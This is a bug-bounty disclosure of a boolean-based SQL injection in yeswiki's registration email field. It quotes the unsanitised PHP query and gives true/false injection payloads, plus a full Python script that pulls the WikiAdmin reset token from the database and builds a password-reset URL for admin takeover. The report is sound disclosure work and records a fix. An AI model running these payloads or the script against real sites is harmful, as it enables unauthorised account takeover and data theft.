SQL Injection in yeswiki/yeswiki

Valid

Reported on

Oct 19th 2021


Description

A boolean-based SQL Injection vulnerability has been found in the email parameter of the registration form. When a new user registers, the application first checks if the email exists through the emailExistsInDB function located in line 999 of the User.class.php. As you can see, it does not make use of mysqli_real_escape_string or any other sanitization method on user input.

protected function emailExistsInDB($email)
{
    /* Build sql query*/
    $sql  = 'SELECT * FROM '.$this->usersTable;
    $sql .= ' WHERE email = "'.$email.'";';
    /* Execute query */
    $results = $this->wiki->loadAll($sql);
    return $results; // If the password does not already exist in DB, $result is an empty table => false
}

Proof of Concept

  1. Register a new user with any email address () via Sign Up Form.
  2. Return to user registration, enter the same email address from step 1 and intercept the request (you can use Burp Suite Community.
  3. Modify the value of the email parameter with the following payloads: 3.1 TRUE --> Payload [EMAIL-STEP-1]"+AND+1=1# --> Return The specified email is allready in use on this wiki 3.1 FALSE --> Payload [EMAIL-STEP-1]"+AND+1=2# --> Return This is not a valid email address

Exploit python code to extract md5 value to reset admin password (previously you must request the change in the form "I forgot my password")

#Author: @jjavierolmedo - hackpuntes.com
#Reset WikiAdmin Password via SQL Injection

import sys, requests

proxies = {'http':'','https':''}
        
def get_sqldata(ip):
    query = "select value from yeswiki_triples where resource='WikiAdmin'"
    extracted = ""
    i=1
    while True:
        injection = '" AND ascii(substring(({query}),{i},1))=[CHAR]#'.format(query=query, i=i)
        retrieved_value = get_char(ip, injection)
        if(retrieved_value):
            extracted += chr(retrieved_value)
            extracted_char = chr(retrieved_value)
            sys.stdout.write(extracted_char)
            sys.stdout.flush()
        else:
            print(" done!")
            break
        i += 1
    return extracted

def get_char(ip, injection):
    validation = "The specified email is allready in use on this wiki"
    for i in range(32, 126):
        url = "{ip}/?ParametresUtilisateur".format(ip=ip)
        chart = injection.replace("[CHAR]", str(i))
        data = {
            "usersettings_action":"signup",
            "name":"test",
            "email":'test@test.com' + chart,
            "password":"123456",
            "confpassword":"123456"
        }
        r = requests.post(url, data=data, proxies=proxies, verify=False)
        if(validation in r.text):
            return i
    return None

def main():
    if len(sys.argv) != 2:
        print("[!] Usage: python {script} <IP>".format(script=sys.argv[0]))
        print("[!] Example: python {script} http://yeswiki.test".format(script=sys.argv[0]))
        exit()
    
    ip = sys.argv[1]
    admintoken = get_sqldata(ip)
    print("[+] Use this URL to reset Admin Password: {ip}/?MotDePassePerdu&a=recover&email={admintoken}&u=V2lraUFkbWlu".format(ip=ip, admintoken=admintoken))
 
if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] User aborted session\n")
        exit()

Impact

A malicious user could access any information in the database used by the application.

Remediation

Sanitize the user input, e.g., make use of the mysqli_real_escape_string

Occurrences

$sql .= ' WHERE email = "'.mysqli_real_escape_string($email).'";';

We have contacted a member of the yeswiki team and are waiting to hear back 2 years ago
Javier Olmedo submitted a
2 years ago
Jérémy Dufraisse validated this vulnerability 2 years ago
Javier Olmedo has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jérémy Dufraisse marked this as fixed with commit c9785f 2 years ago
Jérémy Dufraisse has been awarded the fix bounty
This vulnerability will not receive a CVE
User.class.php#L1003 has been validated
to join this conversation